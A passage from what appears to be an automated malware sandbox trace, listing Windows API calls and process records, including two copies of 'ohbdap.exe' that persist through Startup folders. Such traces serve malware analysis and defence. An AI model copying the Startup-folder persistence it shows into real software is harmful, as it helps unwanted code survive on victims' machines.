[0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 27 os_tid = 0xae0 Thread: id = 28 os_tid = 0xadc Thread: id = 29 os_tid = 0xad8 Thread: id = 30 os_tid = 0xad4 [0043.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe2d950 | out: lpSystemTimeAsFileTime=0xe2d950*(dwLowDateTime=0x944fa850, dwHighDateTime=0x1d52095)) [0043.908] GetCurrentProcessId () returned 0xa2c [0043.908] GetCurrentThreadId () returned 0xad4 [0043.908] GetTickCount () returned 0x1aa90 [0043.908] QueryPerformanceCounter (in: lpPerformanceCount=0xe2d958 | out: lpPerformanceCount=0xe2d958*=16423170746) returned 1 [0043.909] malloc (_Size=0x100) returned 0xd8e80 Thread: id = 31 os_tid = 0xad0 Thread: id = 32 os_tid = 0xacc Thread: id = 33 os_tid = 0xa30 Thread: id = 34 os_tid = 0xaf0 Thread: id = 41 os_tid = 0xbb0 Thread: id = 42 os_tid = 0x850 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x42e79000" os_pid = "0xae4" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0xa2c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0007ae49" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 35 os_tid = 0xb00 Thread: id = 36 os_tid = 0xafc Thread: id = 37 os_tid = 0xaf8 Thread: id = 38 os_tid = 0xaf4 Thread: id = 39 os_tid = 0xaec Thread: id = 40 os_tid = 0xae8 Thread: id = 43 os_tid = 0x844 Process: id = "7" image_name = "ohbdap.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ohbdap.exe" page_root = "0x74463000" os_pid = "0x55c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ohbdap.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e4a5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Process: id = "8" image_name = "ohbdap.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ohbdap.exe" page_root = "0x75886000" os_pid = "0x564" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ohbdap.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e4a5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]